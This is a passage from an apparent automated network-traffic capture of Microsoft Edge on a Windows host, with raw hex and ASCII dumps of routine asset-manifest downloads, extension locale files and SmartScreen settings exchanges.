Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-28 07:55:50 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49794	13.107.246.63	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:50 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:50 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5f8eb5f8-301e-0064-07ed-40d8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T075550Z-174f7845968j6t2phC1EWRcfe80000000yd0000000000fsr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:55:50 UTC	15821	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-28 07:55:50 UTC	16384	IN	Data Raw: 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 Data Ascii: \|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD
2024-11-28 07:55:51 UTC	16384	IN	Data Raw: b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d Data Ascii: O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
2024-11-28 07:55:51 UTC	16384	IN	Data Raw: a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-11-28 07:55:51 UTC	16384	IN	Data Raw: 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-11-28 07:55:51 UTC	16384	IN	Data Raw: 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<
2024-11-28 07:55:51 UTC	16384	IN	Data Raw: 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 Data Ascii: Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-11-28 07:55:51 UTC	16384	IN	Data Raw: 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
2024-11-28 07:55:51 UTC	16384	IN	Data Raw: b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]b
2024-11-28 07:55:51 UTC	16384	IN	Data Raw: c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 Data Ascii: /}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49798	65.52.241.40	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:51 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiNDVnc05rb1M1eFV1MHdzTDBUVXNlUT09IiwgImhhc2giOiIrd2RDRlN5bVdmMD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-28 07:55:51 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-28 07:55:51 UTC	302	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:51 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-28 07:55:51 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-28 07:55:51 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-28 07:55:51 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-28 07:55:52 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-28 07:55:52 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-28 07:55:52 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
